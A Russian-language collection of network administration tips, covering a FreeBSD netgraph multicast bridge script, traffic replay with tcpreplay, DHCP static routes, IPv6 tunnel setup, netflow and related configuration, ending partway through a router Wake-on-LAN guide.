       # PUNITIVE, OR CONSEQUENTIAL DAMAGES, PROCUREMENT OF SUBSTITUTE GOODS OR
       # SERVICES, LOSS OF USE, DATA OR PROFITS, HOWEVER CAUSED AND UNDER ANY
       # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
       # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
       # THIS SOFTWARE, EVEN IF WHISTLE COMMUNICATIONS IS ADVISED OF THE POSSIBILITY
       # OF SUCH DAMAGE.
       #
       # Author: Rozhuk Ivan <rozhuk.im@gmail.com>
       #
       # $FreeBSD: src/sys/netgraph/ng_l2ccp.c,v 1.0.0.1 2010/09/19 08:13:06 kensmith Exp $
    
    
       # This script create bridge between two network interfaces
       # downstream - network with clients
       # upstream - network with multicast
       # downstream <-IGMP-> upstream
       # downstream <-UDP<- upstream
       # only packets with multicast dst mac addr forwarded trouth bridge and (!) not pass to network stack
    
    
    
       IF_UPSTREAM="$2"
       IF_DOWNSTREAM="$3"
       BR_NAME="${IF_UPSTREAM}-${IF_DOWNSTREAM}-br"
       PATTERN_MCAST_IGMP="ether[0] & 1 = 1 and (ether[0:4] != 0xffffffff or ether[4:2] != 0xffff) and ip[9] = 2"
       PATTERN_MCAST_IGMP_UDP="ether[0] & 1 = 1 and (ether[0:4] != 0xffffffff or ether[4:2] != 0xffff) and (ip[9] = 17 or ip[9] = 2)"
       # allways NOT MATCH
       BPFPROG_PASSTOUTH="bpf_prog_len=1 bpf_prog=[ { code=6 jt=0 jf=0 k=0 } ]"
    
    
    
    
       usage_msg()
       {
       echo "usage: start|stop upstreamIF downstreamIF1"
       echo "This create bridge beetwen two IFs for IGMP, and UDP from upstreamIF to downstreamIF1"
       }
    
    
       if [ -z "${IF_UPSTREAM}" -o -z "${IF_DOWNSTREAM}" ]; then
       usage_msg
       return 1
       fi
       if ! ifconfig "$IF_UPSTREAM" > /dev/null 2>&1 ; then
       usage_msg
       echo "Invalid upstream interface: ${IF_UPSTREAM}"
       return 1
       fi
       if ! ifconfig "$IF_DOWNSTREAM" > /dev/null 2>&1 ; then
       usage_msg
       echo "Invalid downstream interface: ${IF_DOWNSTREAM}"
       return 1
       fi
    
    
       case "$1" in
       start)
       # load modules
       kldload ng_ether > /dev/null 2>&1
       kldload ng_bpf > /dev/null 2>&1
    
       echo "start bridging beetwen ${IF_UPSTREAM} and ${IF_DOWNSTREAM}"
    
       BPFPROG_MCAST_IGMP=$( tcpdump -s 65535 -ddd ${PATTERN_MCAST_IGMP} | \
       ( read len ; \
       echo -n "bpf_prog_len=$len " ; \
       echo -n "bpf_prog=[" ; \
       while read code jt jf k ; do \
         echo -n " { code=$code jt=$jt jf=$jf k=$k }" ; \
       done ; \
       echo " ]" ) )
    
       BPFPROG_MCAST_IGMP_UDP=$( tcpdump -s 65535 -ddd ${PATTERN_MCAST_IGMP_UDP} | \
       ( read len ; \
       echo -n "bpf_prog_len=$len " ; \
       echo -n "bpf_prog=[" ; \
       while read code jt jf k ; do \
         echo -n " { code=$code jt=$jt jf=$jf k=$k }" ; \
       done ; \
       echo " ]" ) )
    
       # create and connect nodes
       ngctl mkpeer ${IF_UPSTREAM}: bpf lower ${IF_UPSTREAM}-lower
       ngctl name ${IF_UPSTREAM}:lower ${BR_NAME}-bpf
       ngctl connect ${IF_UPSTREAM}: ${BR_NAME}-bpf: upper ${IF_UPSTREAM}-upper
       ngctl connect ${IF_DOWNSTREAM}: ${BR_NAME}-bpf: lower ${IF_DOWNSTREAM}-lower
       ngctl connect ${IF_DOWNSTREAM}: ${BR_NAME}-bpf: upper ${IF_DOWNSTREAM}-upper
    
       # configure BPF node
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_UPSTREAM}-lower\" ifMatch=\"${IF_DOWNSTREAM}-lower\" ifNotMatch=\"${IF_UPSTREAM}-upper\" ${BPFPROG_MCAST_IGMP_UDP} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_UPSTREAM}-upper\" ifMatch=\"\" ifNotMatch=\"${IF_UPSTREAM}-lower\" ${BPFPROG_PASSTOUTH} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_DOWNSTREAM}-lower\" ifMatch=\"${IF_UPSTREAM}-lower\" ifNotMatch=\"${IF_DOWNSTREAM}-upper\" ${BPFPROG_MCAST_IGMP} }
       ngctl msg ${BR_NAME}-bpf: setprogram { thisHook=\"${IF_DOWNSTREAM}-upper\" ifMatch=\"\" ifNotMatch=\"${IF_DOWNSTREAM}-lower\" ${BPFPROG_PASSTOUTH} }
    
       # configure net if
       ngctl msg ${IF_UPSTREAM}: setautosrc 1
       ngctl msg ${IF_UPSTREAM}: setpromisc 1
       #ngctl msg ${IF_DOWNSTREAM}: setautosrc 0
       ngctl msg ${IF_DOWNSTREAM}: setpromisc 1
       ;;
       stop)
       echo "stop"
       # remove hooks and nodes
       ngctl rmhook ${IF_UPSTREAM}: lower
       ngctl rmhook ${IF_UPSTREAM}: upper
       ngctl rmhook ${IF_DOWNSTREAM}: lower
       ngctl rmhook ${IF_DOWNSTREAM}: upper
       ngctl shutdown ${BR_NAME}-bpf:
    
       # unload modules
       #kldunload ng_ether > /dev/null 2>&1
       #kldunload ng_bpf > /dev/null 2>&1
       ;;
       *)
       usage_msg
       esac
    
    
       return 0
    
    
    Суть скрипта: между интерфейсами (ng_ether) создается подобие бриджа с ng_bpf
    посередине, который пропускает через себя только мультикаст. Причем эти пакеты
    проходят полностью в обход сетевого стека.
    
    
    Дополнение.
    
    Создать мост между em0 и re0, где re0 подключён к сети с мультикастом:
    
       mcastbr2.sh start re0 em0
    
    Удалить мост:
    
       mcastbr2.sh stop re0 em0
    
    История
    
    igmpproxy и mrouted у меня работать отказались, после нескольких часов проб,
    чтения и новых проб я решил не заниматься ремонтом ядра и этих приложений, а
    просто выборочно сбриджевать два сетевых интерфейса:
    
     - IGMP на multicast адреса из локалки в сеть провайдера и обратно;
     - UDP на multicast адреса из сети провайдера в локалку. Броадкаст не нужен, и направляется в ядро как обычно.
    
    Несмотря на цифру 2, по сути эта третья версия графа, получившая в результате
    оптимизации первых двух.
    
    Первая содержала ng_ether, ng_tee, ng_one2many, ng_bpf.
    Вторая содержала ng_ether, ng_tee, ng_one2many, ng_bpf.
    Окончательная содержит: ng_ether, ng_left2right, ng_tee, ng_bpf.
    
    В первых двух версиях создавалась копия пакета, и один уходил через мост в
    другую сеть либо отбрасывался, а второй попадал в ядро. Поскольку ядро всё
    равно их дропало где то внутри и нетграф их очень много отбрасывал, ничего
    полезного не делая, то я решил их вообще туда не посылать и организовать так
    чтобы не создавать дубликатов и не уничтожать пакеты.
    
    Принцип работы
    BPF настроен таким образом чтобы пропускать все без исключения пакеты с upper
    хуков ng_ether нод на lower хуки (пакеты от системы в сеть). Приходящие из сети
    пакеты с lower хуков нод проверяются в BPF, и
    
     - если это мультикаст;
     - и не броадкаст;
     - и IGMP [или UDP в случае если пакет от адаптера подключённого к провайдеру]
    
    то такой пакет целиком пересылается на lower хук другого адаптера, минуя
    сетевой стёк операционной системы.
    
    
    Тонкости
    
    1. Пришлось включить promisc режим на обоих интерфейсах, иначе мультикаст
    дропается самим сетевым адаптером, это нормальное поведение.
    
    2. Пришлось включить autosrc на интерфейсе в сети провайдера, так как у
    провайдера на коммутаторе настроен Port Security на пропускание только одного
    MAC адреса - первого изученного на порту после поднятия линка.
    
    3. Моему провайдеру нет дела до того какой src-ip в IP приходит от меня, если
    бы было, то я бы попробовал гнать трафик в сторону провайдера через ng_patch
    ноду, которая бы заменяла src-ip на нужны, и выставляла CSUM_IP и CSUM_UDP в
    заголовке пакета - есть шанс что драйвер сетевого адаптера сам рассчитает эти
    суммы либо что оборудование провайдера проигнорирует неверную контрольную сумму
    в IGMP пакетах от меня. Нода также подключается обоими хуками к BPF, выход
    настраивается на passtrouth (пересылку всех пакетов) на lower хук ng_ether на
    адаптере в сети провайдера, а вход ng_patch должен быть match выходом от lower
    на адаптере в локальной сети. Те совсем не большая модификация графа.
    
    4. Работает на vlan интерфейсах.
    
    
    Для создания аналогичного по функционалу моста, в котором будет несколько
    сетевых интерфейсов в разных сетях с мультикастом и несколько сетевых адаптеров
    в сетях куда его нужно переправить потребуется на каждый сетевой адаптер вешать
    по ng_split + ng_one2many и по одной ng_one2many с каждой стороны моста для
    рассылки копий мультикаста на все интерфейсы. upper хуки ng_ether нод по
    прежнему будут напрямую подключатся к BPF. В случае нескольких сетей -
    источников мультикаста будет ещё проблема с возможным перекрытием адресных
    пространств, которую можно частично разрешить настроив в BPF фильтрацию по адресам.
    
     
    ----* Запись и повторное проигрывание трафика   [комментарии]
     
    Для симулирования трафика, перехваченного сниффером и сохранённого в формате
    pcap, удобно использовать сочетание утилит tcpreplay
    (http://tcpreplay.synfin.net/) для непосредственной переотправки трафика и
    tcprewrite (http://tcpreplay.synfin.net/wiki/tcprewrite) для замены IP-адресов
    и других параметров пакетов. Повторная генерация потока может быть полезна для
    оценки поведения различных программ на различные атаки, при изучении причин
    сбоев в сетевом ПО или при проведении нагрузочного тестирования (можно менять
    интенсивность отправки пакетов).
    
    Обе утилиты входят в состав пакета tcpreplay:
    
       sudo apt-get install tcpreplay
    
    Перехват трафика можно произвести утилитой tcpdump:
    
       tcpdump -ni wlan0 -s0 -w dump.pcap port 501
    
    Для замены адреса отправителя 210.1.54.1 на адрес локальной машины 192.168.1.1
    используем утилиту tcprewrite:
    
       tcprewrite --skipbroadcast --pnat=210.1.54.1:192.168.1.1 --infile=dump.pcap --outfile=dump2.pcap
    
    Повторно генерируем пакеты, используя интерфейс eth0:
    
       tcpreplay --intf1=eth0 dump2.pcap
    
    
    Из других похожих проектов, можно отметить:
    
    fragroute - позволяет перехватывать, изменять и переотправлять трафик,
    адресованный определённому хосту.
    
    netdude - мощный редактор и просмотрщик содержимого pcap-дампов.
    
    wireplay - простая и удобная утилита для переотправки записанных в
    pcap-дампе TCP-сессий с внесением изменений. Например, для переотправки
    записанного в http.pcap HTTP-трафика:
    
       wireplay -K --role client --port 80 --target 127.0.0.1 -L -F http.pcap
    
    В ситуации, когда нужно просто сгенерировать поток на основе лога HTTP-сервера,
    можно использовать утилиту httperf:
    
    Копируем список запрашиваемых URL из лога:
    
        cat apache.log | awk '{print $7}' > requests.log
    
    Заменяем перевод сроки на нулевой символ, как того требует httperf
     
       tr "\n" "\0" < requests.log > httperf.log
    
    Симулируем отправку пакетов к IP 192.168.1.1 в 100 одновременных запросов,
    прекращаем отправку после 10 тыс. запросов.
    
        httperf --hog --server 192.168.1.1 --port 80 --wlog=n,httperf.log --rate=100 
    
     
    ----* Передача статических маршрутов в DHCP (доп. ссылка 1)   [комментарии]
     
    В основную секцию файла конфигурации DHCP сервера нужно прописать:
    
       option ms-classless-static-routes code 249 = array of unsigned integer 8;
       option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;
    
    в потом в секции subnet или host прописывать:
    
       option ms-classless-static-routes 16, 172,16, 10,16,40,100;
       option rfc3442-classless-static-routes 16, 172,16, 10,16,40,100;
    
    где
    
       16 (маска)
       172.16.0.0 (сеть)
       10.16.40.100 (шлюз)
    
    
    Скрипт для генерации содержимого "option classless-route" в шестнадцатеричной
    нотации для более старых версий dhcpd:
    
      #!/usr/bin/perl
    
      use strict;
    
      # Usage:
      #   make_classless_option({ "subnet/mask" => "router", "subnet/mask" => "router", ... });
      #     subnet   the subnet address, 4 dot-separated numbers
      #     mask     the subnet mask length (e.g. /24 corresponds to 255.255.255.0, /8 corresponds to 255.0.0.0)
      #     router   the router address, 4 dot-separated numbers
    
      sub make_classless_option{
        my $routes = shift;
        my ($s1, $s2, $s3, $s4, $len, @bytes, $net, $mask, $destination, $router);
    
        $len = 2;
        @bytes = ();
        foreach $destination(keys %{$routes}) {
            ($net, $mask) = split('/', $destination);
            $router = $routes->{$destination};
            ($s1, $s2, $s3, $s4) = split(/\./, $net);
            push(@bytes, sprintf('%02x', $mask));
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2)) if($mask > 8);
            push(@bytes, sprintf('%02x', $s3)) if($mask > 16);
            push(@bytes, sprintf('%02x', $s4)) if($mask > 24);
            ($s1, $s2, $s3, $s4) = split(/\./, $router);
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2));
            push(@bytes, sprintf('%02x', $s3));
            push(@bytes, sprintf('%02x', $s4));
        }
    
        return join(':', @bytes);
      }
    
      # Пример использования
    
      print make_classless_option({
            "10.230.0.0/16" => "10.230.178.145"
            });
    
     
    ----* Настройка IPv6 в Ubuntu Linux (доп. ссылка 1)   Автор: pridumal.org.ua  [комментарии]
     
    Имеем Ubuntu 8.10 Intrepid Ibex Server Edition, выходящий в сеть по PPP и
    работающий с интранет IP через NAT.
    
    Задача: дать ему реальный, белый IPv6-адрес и сделать на его базе IPv6-маршрутизатор, 
    который будет обеспечивать передачу IPv6-пакетов между миром и локальной сетью.
    
    Для начала получим себе адрес IPv6. В этом нам поможет сервис (т.н. "брокер") http://go6.net, 
    на котором нам, в первую очередь, надо зарегистрироваться. Go6 даст нам не один
    адрес IPv6, а целую подсеть.
    Для того, чтобы выпустить пакеты IPv6 в мир go6 предоставит нам IPv4-туннель: 
    пакеты шестой версии будут упакованы в пакеты четвертой версии, в таком виде
    через провайдерские сети
    дойдут до маршрутизаторов freenet6 (именно так называется сеть, к которой мы подключаемся), 
    где их распакуют и выпустят уже в виде полноценной v6.
    
    После регистрации на указанный адрес придет письмо в котором нас интересуют поля
    Username, Password и Gateway6 Address.
    
    
    Теперь приступаем к настройке сервера. По умолчанию поддержка IPv6 в ubuntu-server уже включена. 
    В случае чего ситуацию можно исправить командой:
    
        $ sudo modprobe ipv6
    
    Нам понадобится установить всего лишь один единственный пакет:
    
        $ sudo apt-get install tspc
    
    После установки редактируем конфиг:
    
        $ sudo nano /etc/tsp/tspc.conf
    
    Вот вывод того, что включено у меня (результат команды sudo cat /etc/tsp/tspc.conf | grep -v "#")
    
        auth_method=any
        client_v4=auto
        userid=xxxxxx <== Тут ваш юзернейм из письма
        passwd=******** <== Пароль из письма
        template=setup
        server=broker.freenet6.net <== Адрес брокера
        retry_delay=30
        tunnel_mode=v6anyv4
        if_tunnel_v6v4=sit1
        if_tunnel_v6udpv4=tun
        proxy_client=no
        keepalive=yes
        keepalive_interval=30
        syslog_facility=DAEMON
        syslog_level=INFO
        host_type=router
        prefixlen=64
        if_prefix=eth0 <== Адрес сетевой карты, которая смотрит в локалку
    
    Ок, кажется всё настроили - теперь можно проверять:
    
        $ sudo /etc/init.d/tspc restart
        $ ifconfig eth0
    
    Если вы увидели там inet6 addr, начинающийся на что-то, отличное от fe... (например 2001:5с0...), 
    значит всё получилось. Иначе - читаем и повторяем всё сначала.
    
    Еще один неплохой способ проверить - пропинговать какой-нибудь IPv6-enabled сайт. 
    Например ipv6.google.com. Для этого, вместо "обычного" пинга, воспользуемся
    специальной версией для IPv6:
    
        $ ping6 ipv6.google.com
    
        PING ipv6.google.com(2001:4860:0:1001::68) 56 data bytes
        64 bytes from 2001:4860:0:1001::68: icmp_seq=1 ttl=54 time=444 ms
     
    
     
    ----* Настройка IPv6 в Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    IPv6 соединение будем туннелировать через брокер туннелей (Tunnel Broker), 
    так как не все ISP поддерживают прямое IPv6 соединение.
    
    Регистрируем свою систему в сервисе http://tunnelbroker.net/ (выбираем "Create Regular Tunnel")  , 
    http://go6.net/4105/freenet.asp или http://www.sixxs.net/
    
    При регистрации вводим IPv4 адрес машины, на которой будет поднят туннель.
    После регистрации получаем: 
    IPv4 адрес удаленного конца туннеля: 216.66.80.30
    IPv6 адрес удаленного шлюза: 2001:0470:1f0a:cc0::1/64
    Клиентский IPv6 адрес, который нужно использовать на своей машине: 2001:0470:1f0a:cc0::2/64
    
    Поднимаем IPv6-in-IPv4 туннель:
    
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Проверяем через пинг удаленного конца туннеля и IPv6 хоста из списка
    http://www.ipv6.org/v6-www.html :
       ping6 -c4 2001:0470:1f0a:cc0::1
       ping6 -c4 www.ipv6.uni-muenster.de
    
    
    Создаем файл /etc/network/if-up.d/ipv6 для настройки параметров при загрузке:
    
       #!/bin/sh
       PATH=/sbin:/bin
       ifconfig sit0 up
       ifconfig sit0 inet6 tunnel ::216.66.80.30
       ifconfig sit1 up
       ifconfig sit1 inet6 add 2001:0470:1f0a:cc0::2/64
       route -A inet6 add ::/0 dev sit1
    
    Не забываем поставить права доступа:
       chmod 755 /etc/network/if-up.d/ipv6
    
     
    ----* Подключение FreeBSD к IPv6 - поднимаем туннель через IPv4-сети провайдера (доп. ссылка 1)   Автор: Litos  [комментарии]
     
    Итак, пришло время поднять IPv4-IPv6 gateway, чтобы ходить в мир "другого
    интернета", коим он скоро будет.
    
    Самым простым способом получить IPv6 адрес оказалось получить подключение от http://go6.net
    
    Идем на этот сайт и регистрируемся http://go6.net/4105/register.asp
    
    
    Тут же они предлагают скачать софт и поставить, например для Windows вида "скачай и запусти"
    http://go6.net/4105/download.asp
    
    Но это не совсем наш метод, мы будем подключать сервер на FreeBSD 7.0 к этой сети.
    
    Ядро у нас собрано с поддержкой IPV6, т.е. с options INET6 (ядро GENERIC уже 
    поддерживает этот протокол и если вы его не отключали, значит, он у вас есть)
    
    Итак, ставим клиента, то, что они предлагают скачивать - есть в портах
    
       Port:   gateway6-5.0_2
       Path:   /usr/ports/net/gateway6
       Info:   Gateway6 Tunnel Setup Protocol Client - Free IPv6 tunnel
       B-deps:
       R-deps:
       WWW:    http://www.go6.net/
    
    
    Приступаем к установке:
    
       cd /usr/ports/net/gateway6
       make install clean
    
    Буквально через несколько минут клиент будет установлен
    
    Отредактируйте его конфигурационный файл /usr/local/etc/gw6c.conf
    
       userid=
       passwd=
    
    Пропишите туда ваше имя и пароль которые указали при регистрации на сайте.
    
    На этом начальная настройка закончена, для дальнейшей настройки читайте документацию.
    
    Как я понял, выдается целая сеть и для авторизованных пользователей http://go6.net/4105/freenet.asp,
    тем самым можно все компьютеры дома подключить на реальные статические IPv6 адреса.
    
       server=broker.freenet6.net
    
    broker.freenet6.net - это имя сервера для подключения (написано в письме при регистрации)
    
       # Включить использование авторизации
       auth_method=any
    
       # Писать логи в syslogd
       log_syslog=3
    
    Теперь осталось запустить его
    
       echo 'gateway6_enable="YES"' >> /etc/rc.conf
       /usr/local/etc/rc.d/gateway6 start
    
    И смотрим
    
       # tail -f /var/log/messages
       Oct 17 18:39:38 lola gw6c: Gateway6 Client v5.0-RELEASE build Oct 17 2008-14:56:32
       Oct 17 18:39:38 lola gw6c: Establishing connection to tunnel broker broker.freenet6.net using reliable UDP.
       Oct 17 18:39:42 lola gw6c: Connection to broker.freenet6.net established.
       Oct 17 18:39:45 lola gw6c: Authentication success.
       Oct 17 18:39:45 lola gw6c: Got tunnel parameters from server. Setting up local tunnel.
       Oct 17 18:39:45 lola gw6c: Executing configuration script: /bin/sh "/usr/local/share/gateway6/freebsd.sh".
       Oct 17 18:39:46 lola gw6c: Script completed successfully.
       Oct 17 18:39:46 lola gw6c: Your IPv6 address is 2001:05c0:8fff:fffe:0000:0000:0000:c243.
       Oct 17 18:39:46 lola gw6c: The tunnel type is v6udpv4.
    
    
       # ifconfig
    
       tun1: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> metric 0 mtu 1280
            inet6 2001:5c0:8fff:fffe::c243 --> 2001:5c0:8fff:fffe::c242 prefixlen 128
            Opened by PID 873
    
       # traceroute6 www.jp.freebsd.org
       ...
       # ping6 www.jp.freebsd.org
       ...
    
    Все прекрасно работает не смотря на то, что выход осуществляется в мир через  
    NAT на модеме.
    
    Итак, осталось только понять, "зачем это надо", но ясно одно - за этим будущее. 
    А еще можно посмотреть на танцующую черепаху на http://www.kame.net/ :-)
    
    Также рекомендую прочитать документацию (главу в 
    HandBook http://www.freebsd.org/doc/ru_RU.KOI8-R/books/handbook/network-ipv6.html) 
    по поддержке протокола IPv6 в системе FreeBSD.
    
     
    ----* Пример настройки ng_neflow для нескольких интерфейсов.   Автор: stalex  [комментарии]
     
    #cat ng5_netflow.sh
    
       #!/bin/sh
    
       kldload ng_netflow
       kldload ng_ether
       kldload ng_tee
       kldload ng_one2many
    
       /usr/sbin/ngctl -f- <<-SEQ
         mkpeer em2: tee lower right
         connect em2: em2:lower upper left
         name em2:lower em2_tee
         mkpeer  em2:lower netflow  right2left iface0
         name em2:lower.right2left netflow
         msg netflow: setifindex { iface=0 index=1 }
         connect em2:lower netflow: left2right iface1
         msg netflow: setifindex { iface=1 index=1 }
    
         mkpeer vlan254: tee lower right
         connect vlan254: vlan254:lower upper left
         name vlan254:lower vlan254_tee
         connect vlan254:lower netflow:  right2left iface3
         msg netflow: setifindex { iface=3 index=1 }
         connect vlan254:lower netflow: left2right iface4
         msg netflow: setifindex { iface=4 index=1 }
    
         mkpeer vlan22: tee lower right
         connect vlan22: vlan22:lower upper left
         name vlan22:lower vlan22_tee
         connect vlan22:lower netflow:  right2left iface5
         msg netflow: setifindex { iface=5 index=1 }
         connect vlan22:lower netflow: left2right iface6
         msg netflow: setifindex { iface=6 index=1 }
    
         mkpeer vlan21: tee lower right
         connect vlan21: vlan21:lower upper left
         name vlan21:lower vlan21_tee
         connect vlan21:lower netflow:  right2left iface7
         msg netflow: setifindex { iface=7 index=1 }
         connect vlan21:lower netflow: left2right iface8
         msg netflow: setifindex { iface=8 index=1 }
    
         mkpeer netflow: ksocket export inet/dgram/udp
         msg netflow:export connect inet/127.0.0.1:20001
       SEQ
    
     
    ----* Прозрачный редирект порта, используя xinetd и netcat (доп. ссылка 1)   [комментарии]
     
    После переноса сервиса на новый сервер, на старом можно организовать сервис заглушку, 
    осуществляющий редирект следующим образом:
    
    /etc/xinetd.d/smtp-tcp
    
       service smtp
       {
            disable = no
            socket_type     = stream
            protocol        = tcp
            user            = nobody
            wait            = no
            server          = /bin/nc
            # server          = /usr/bin/netcat
            server_args     = -w 2 192.168.1.1 25
       }
    
    где 192.168.1.1 адрес нового сервера, nc - утилита netcat, "-w 2" - таймаут в 2 сек.
    
     
    ----* Изменение имени сетевого интерфейса в Linux   Автор: NuclearCat  [комментарии]
     
    /sbin/ifconfig ppp1 down
    /sbin/ip link set ppp1 name my_ppp
    /sbin/ifconfig my_ppp up
    
     
    ----* Статические маршруты через isc-dhcpd   Автор: Артем Бохан  [комментарии]
     
    Согласно RFC 3442 через dhcp можно отдавать таблицу маршрутизации.
    Изначально эта опция не поддерживается isc-dhcpd, но опцию можно добавить.
    
    Пример:
      option classless-route code 121 = string;
      option classless-route 18:c0:a8:ea:c0:a8:00:05;
    
    пример получения кода, взято с 
    http://rfc3442svc.sourceforge.net/isc-dhcpd-configuration.html
    
    #!/usr/bin/perl
    
    use strict;
    
    # Usage:
    #   make_classless_option({ "subnet/mask" => "router", "subnet/mask" => "router", ... });
    #     subnet   the subnet address, 4 dot-separated numbers
    #     mask     the subnet mask length (e.g. /24 corresponds to 255.255.255.0,
    /8 corresponds to 255.0.0.0)
    #     router   the router address, 4 dot-separated numbers
    sub make_classless_option
    {
        my $routes = shift;
        my ($s1, $s2, $s3, $s4, $len, @bytes, $net, $mask, $destination, $router);
    
        $len = 2;
        @bytes = ();
        foreach $destination(keys %{$routes}) {
            ($net, $mask) = split('/', $destination);
            $router = $routes->{$destination};
            ($s1, $s2, $s3, $s4) = split(/\./, $net);
            push(@bytes, sprintf('%02x', $mask));
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2)) if($mask > 8);
            push(@bytes, sprintf('%02x', $s3)) if($mask > 16);
            push(@bytes, sprintf('%02x', $s4)) if($mask > 24);
            ($s1, $s2, $s3, $s4) = split(/\./, $router);
            push(@bytes, sprintf('%02x', $s1));
            push(@bytes, sprintf('%02x', $s2));
            push(@bytes, sprintf('%02x', $s3));
            push(@bytes, sprintf('%02x', $s4));
        }
    
        return join(':', @bytes);
    }
    
    # Sample usage
    
    print make_classless_option({
            "172.16.0.0/12" => "10.0.0.1",
            "10.0.0.0/8" => "10.0.0.1",
            "0.0.0.0/0" => "192.168.0.1",
            "192.168.234.0/24" => "192.168.0.5"
            });
    
    На данный момент данную опцию поддерживает малое количество клиентов, например windows XP, 
    только по непонятным причинам использует код 249, т.е. в конфигурации сервера
    надо будет использовать
    
       option classless-route code 249 = string;
    
     
    ----* Настройка беспроводной 80211 карты под FreeBSD (доп. ссылка 1)   Автор: toxa  [комментарии]
     
    kldload bridge
    sysctl net.link.ether.bridge.enable="1"
    sysctl net.link.ether.bridge.config="wi0,fxp0"
    sysctl net.inet.ip.forwarding="1"
    ifconfig wi0 ssid toxawlan channel 11 media DS/11Mbps mediaopt hostap up stationname "toxawlan"
    
     
    ----* Обобщение используемых моделей ввода/вывода (доп. ссылка 1)   [обсудить]
     

    Стратегии организации ввода-вывода:

    1. Блокируемый I/O - после вызова read/write происходит блокировка до завершения операции, функция завершается только после принятия или передачи блока данных.
    2. Неблокируемый I/0 - функция завершается сразу, если данные не были приняты/отправлены возвращается код ошибки (т.е. нужно вызывать функции I/O в цикле пока не получим положительный результат).
    3. Мультиплексирование через select/poll - опрашиваем список состояния сокетов, перебирая состояния определяем сокеты готовые для приема/передачи. Главный минус - затраты на перебор, особенно при большом числе неактивных сокетов.
      • select - число контролируемых сокетов ограничено лимитом FD_SETSIZE, в некоторых случаях лимит обходится пересборкой программы, в других - пересборкой ядра ОС.
      • poll - нет лимита FD_SETSIZE, но менее эффективен из за большего размера передаваемой в ядро структуры.
    4. Генерация сигнала SIGIO при изменении состояния сокета (ошибка, есть данные для приема, или отправка завершена), который обрабатывает обработчик SIGIO. В классическом виде применение ограничено и трудоемко, подходит больше для UDP.
    5. Асинхронный I/O - описан в POSIX 1003.1b (aio_open, aio_write, aio_read...), функция aio_* завершается мгновенно, далее процесс сигнализируется о полном завершении операции ввода/вывода (в предыдущих пунктах процесс информировался о готовности прочитать или передать данные, т.е. данные еще нужно было принять или отправить через read/write, в aio_* процесс сигнализируется когда данные полностью получены и скопированы в локальный буфер).
    6. Передача данных об изменении состояния сокета через генерацию событий. (специфичные для определенных ОС решения, малопереносимы, но эффективны).


     
    ----* tcpdump для просмотра содержимого пакетов по определенным портам. (доп. ссылка 1)   [комментарии]
     
    tcpdump -X -s 1500 -n -i fxp0 (tcp port 443) or (tcp port 994)
    Если нужно выбрать трафик в котором не фигурируют IP 1.2.3.190 и
    192.168.20.254, а также внутренние
    пересылки между адресами 192.168.20 сети, можно использовать правило фильтрации:
       not host 1.2.3.190 and not host 192.168.20.254 and not (dst net 192.168.20.0/24 and src net 192.168.20.0/24)
    
     
    ----* Как в FreeBSD добавить/убрать алиас для сетевого интерфейса   [комментарии]
     
    Добавить: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 alias
    Убрать: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 -alias
    
     
    ----* Табличка с сетевыми масками. (доп. ссылка 1)   [комментарии]
     
    адресов в подсети, 255.255.255.x маска, /x маска, .0 - cisco acl маска.
    0       .255 /32 .0
    2       .254 /31 .1
    4       .252 /30 .3
    8       .248 /29 .7
    16      .240 /28 .15
    32      .224 /27 .31
    64      .192 /26 .63
    128     .128 /25 .127
    256     .0   /24 .255
    
     

       Ethernet, ARP, привязка MAC адресов.

    ----* Пробуждение компьютера по сети с помощью D-Link DIR 300 (320) NRU   Автор: jPump  [комментарии]
     
    Задача: 
    
    Осуществить возможность пробуждения (Wake on Lan) из интернета удаленного
    компьютера, находящегося дома за роутером марки D-Link (DIR-300, DIR-320).
    
    Решение:
    
    Использование команды ip, имеющейся в стандартных сборках BusyBox'a в роутерах D-Link.
      
    Предисловие:
    
    Дома стоит роутер D-Link DIR-320/NRU ревизии B1, а до этого был DIR-300/NRU
    ревизии B5, для которых (на данный момент) нет альтернативных готовых прошивок
    (в том числе и горячо всеми любимой DD-WRT). На роутере стоит BusyBox 1.12.
    
    Проблема состояла в том, что встроенное в веб-интерфейс средство переброса
    пакетов не позволяют переадресацию в широковещательный канал - broadcast
    (x.x.x.255), а хитровыделанный D-Link обновляет arp-таблицу каждые 15-30
    секунд, так что непосредственно в выключенный длительное время компьютер Magic
    Packet тоже не перебросить. Тайваньские ребята решили отказаться от компиляции
    arp, sudo и прочих печенюшек в BusyBox, поскольку iptables тоже не позволяет
    POSTROUTING на широковещательный канал.
    
    Решение после недели напряженного поиска было найдено случайно на ныне
    почившем форуме сборки линукса для старых компьютеров под роутер.
    
    Пример:
    
    Для начала настройте BIOS вашей материнской платы (в разделе настроек питания
    есть пункт о пробуждении из выключенного состояния) и вашей сетевой карты (уже
    из операционной системы в свойствах карты). Для проверки выключите компьютер и
    посмотрите, если индикация сетевого разъема мигает, значит все в порядке.
    
    1. Подключаемся  telnet-ом к роутеру (логин и пароль те же, что и для веб-интерфейса):
    
       Dlink-Router login: admin
       Password:
       Welcome to
       	 _______          ___     __  ____   _  _   ___
       	|  ___  \\        |   |   |__||    \\ | || | /  /
       	| |   | ||  ___  |   |__  __ |     \\| || |/  /
       	| |___| || |___| |      ||  || |\\     ||     \\
       	|_______/        |______||__||_| \\____||_|\\___\\
       
       					 = Ebuilding Networks for People =
       
       
       
       BusyBox v1.12.1 (2011-05-13 14:42:48 MSD) built-in shell (ash)
       Enter 'help' for a list of built-in commands.
       
       #
       
    2. Если компьютер в данный момент присоединен к роутеру, то ищем его mac-адрес, набираем:
      
